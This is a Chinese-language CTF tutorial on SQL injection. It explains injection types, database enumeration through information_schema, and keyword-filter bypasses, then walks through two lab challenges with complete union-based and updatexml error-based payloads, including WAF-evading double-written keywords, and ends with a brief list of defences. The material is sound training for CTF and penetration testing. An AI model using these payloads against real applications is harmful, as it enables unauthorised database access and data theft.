CTFer成长之路之CTF中的SQL注入
字数 1081 2025-08-24 10:10:13
CTF中的SQL注入技术详解
一、SQL注入基础概念
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而绕过安全措施,获取数据库中的敏感信息或执行未授权的数据库操作。
二、CTF中SQL注入常见类型
1. 字符型注入
特征:
- 输入被单引号(')或双引号(")包围
- 通过闭合引号来注入SQL代码
判断方法:
http://example.com/index.php?id=2' # 测试单引号
http://example.com/index.php?id=2" # 测试双引号
案例:
http://192.168.10.22/index.php?id=2'%23 # 使用%23(#的URL编码)注释掉后续SQL
2. 数字型注入
特征:
- 输入直接作为数字使用,无引号包围
- 通过数学运算测试
判断方法:
http://example.com/index.php?id=2-1 # 结果应与id=1相同
3. 报错注入
特征:
- 利用数据库报错信息获取数据
- 常用函数:updatexml()、extractvalue()等
案例:
name=1'and updatexml(1,concat(0x7e,(select 1)),1)#&pass=1
4. 联合查询注入(Union注入)
特征:
- 使用UNION SELECT合并查询结果
- 需要确定列数
步骤:
- 确定列数:
order by n - 确定回显点
- 构造UNION查询
案例:
http://192.168.10.22/index.php?id=-2' union select 1,2,3%23
三、SQL注入详细利用步骤
1. 信息收集阶段
- 判断注入类型(字符型/数字型)
- 判断数据库类型(MySQL/Oracle/SQL Server等)
- 确定注入点是否可用
2. 数据库结构探测
- 获取数据库名:
select database()
- 获取表名:
select group_concat(table_name) from information_schema.tables where table_schema=database()
- 获取列名:
select group_concat(column_name) from information_schema.columns where table_name='表名'
3. 数据提取
- 常规数据提取:
select 列名 from 表名
- 报错注入数据提取:
and updatexml(1,concat(0x7e,(select 列名 from 表名)),1)
4. 绕过技巧
- 关键字过滤绕过:
- 双写绕过:
selselectect - 大小写混合:
SeLeCt - 注释分割:
sel/*xxx*/ect
- 编码绕过:
- URL编码
- 十六进制编码
- Unicode编码
- 等价函数替换:
substring()→mid()→substr()
四、CTF实战案例解析
案例1:基础Union注入
题目:SQL注入-1
解题步骤:
- 判断注入类型:
http://192.168.10.22/index.php?id=2-1 # 结果不变,非数字型
http://192.168.10.22/index.php?id=2'%23 # 正常显示,字符型
- 确定列数:
http://192.168.10.22/index.php?id=2' order by 3%23 # 有回显
http://192.168.10.22/index.php?id=2' order by 4%23 # 无回显
- 确定回显点:
http://192.168.10.22/index.php?id=-2' union select 1,2,3%23
- 获取表名:
http://192.168.10.22/index.php?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
- 获取列名:
http://192.168.10.22/index.php?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='fl4g'%23
- 获取flag:
http://192.168.10.22/index.php?id=-2' union select 1,fllllag,3 from fl4g%23
案例2:登录框注入与WAF绕过
题目:SQL注入-2
解题步骤:
- 发现提示:
http://192.168.10.22/login.php?tips=1
- 测试注入:
name=1'and updatexml(1,concat(0x7e,(select 1)),1)#&pass=1
- 发现关键字过滤,使用双写绕过:
name=1'and updatexml(1,concat(0x7e,(selselectect(1)from dual)),1)#&pass=1
- 获取表名:
name=1'and updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))from information_schema.tables where table_schema=database())),1)#&pass=1
- 获取列名:
name=1'and updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))from information_schema.columns where table_name='fl4g')),1)#&pass=1
- 获取flag:
name=1'and updatexml(1,concat(0x7e,(selselectect(flag)from fl4g)),1)#&pass=1
五、防御措施
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 输入验证和过滤
- 使用Web应用防火墙(WAF)
- 错误信息处理(不显示详细错误)
- 定期安全审计和渗透测试
六、总结
CTF中的SQL注入题目通常考察以下能力:
- 注入点识别能力
- 数据库结构分析能力
- 各种注入技术的灵活运用
- WAF和过滤机制的绕过技巧
- 结果提取和利用方法
掌握这些技术不仅有助于CTF比赛,也是实际渗透测试中的重要技能。建议通过搭建靶场环境,反复练习各种注入技术,加深理解。